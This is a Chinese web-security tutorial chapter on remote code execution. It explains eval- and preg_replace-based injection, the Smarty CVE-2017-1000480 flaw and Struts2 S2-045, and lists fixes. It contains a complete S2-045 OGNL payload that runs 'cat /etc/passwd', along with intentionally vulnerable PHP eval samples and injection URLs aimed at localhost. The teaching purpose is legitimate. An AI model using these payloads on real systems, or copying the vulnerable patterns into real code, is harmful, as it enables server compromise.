远程代码执行漏洞
《Web安全测试学习手册》- 远程代码执行漏洞
0x00 远程代码执行漏洞 - 介绍
1)什么是远程代码执行漏洞
远程命令执行漏洞
英文名称:RCE (remote code execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
2)远程代码执行漏洞的特点
远程代码执行是指攻击者可能会通过远调用的方式来攻击或控制计算机设备,无论该设备在哪里。
0x01 远程代码执行漏洞 - 风险等级
高
0x02 远程代码执行漏洞 - 原理
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec(),assert(),preg replace() + /e 模式等函数是该漏洞攻击成功的最主要原因。
0x03 远程代码执行漏洞 - 常见场景
-
使用了危险函数的Web应用
-
低版本的Java语言Struts 2 框架
0x04 测试方案
PHP中常见场景 - 模板引擎代码执行
Smarty简介
Smarty是一个PHP的模板引擎。更明确来说,它可以帮助开发者更好地 分离程序逻辑和页面显示。最好的例子,是当程序员和模板设计师是不同的两个角色的情况,而且 大部分时候都不是同一个人的情况。
CVE-ID : CVE-2017-1000480
产生原因:由于未对用户的输入点进行过滤,导致经过eval函数,造成代码执行
测试Payload:
*/phpinfo();/*
Java Struts2 (S2-045)
Struts 2 简介
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
CVE-ID : CVE-2017-5638
产生原因:由于未对用户输入点进行过滤,被带入ErrorMessage,当做OGLN表达式解析,造成代码执行
测试Payload:
%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
0x05 修复方案
通用修复方案
升级插件、框架新版本
具体修复方案
-
1.使用低权限用户执行应用程序。
-
2.升级到修复后的组件版本。
-
3.配置或代码过滤危险函数。
-
4.对于eval()函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
-
5.对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes.
-
6.对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。
0x06 简单应用
eval()函数简单利用
eval()函数漏洞利用 1
eval.php源代码
<?php
error_reporting(0);
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
- /?data=phpinfo()
http://127.0.0.1/eval.php?data=phpinfo()
- /?data=1;phpinfo()
http://127.0.0.1/eval.php?data=1;phpinfo()
- /?data=${phpinfo()}
http://127.0.0.1/eval.php?data=${phpinfo()}
eval()函数漏洞利用 2
eval.php源代码
<?php
error_reporting(0);
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
echo $ret;
- /?data=1’);phpinfo();//
http://127.0.0.1/eval.php?data=1%27);phpinfo();//
eval()函数漏洞利用 3
eval.php源代码
<?php
error_reporting(0);
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
- /?data=${phpinfo()}【不适用于低版本PHP,测试5.5.38】
http://127.0.0.1/eval.php?data=${phpinfo()}
- /?data=1”;phpinfo();//
http://127.0.0.1/eval.php?data=1%22);phpinfo();//
preg_replace() + /e函数简单利用
eval.php源代码
<?php
error_reporting(0);
$data=$_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret="\\1";', $data);
echo $ret;
/?data=<data>${phpinfo()}</data>
【不适用于低版本PHP,测试5.5.38】
http://127.0.0.1/eval.php?data=%3Cdata%3E${phpinfo()}%3C/data%3E
博客作者,文章总结者 @Mannix
2018 年 10 月 17 日
原始参考文档作者 @Rvn0xsy
2018 年 03 月 22 日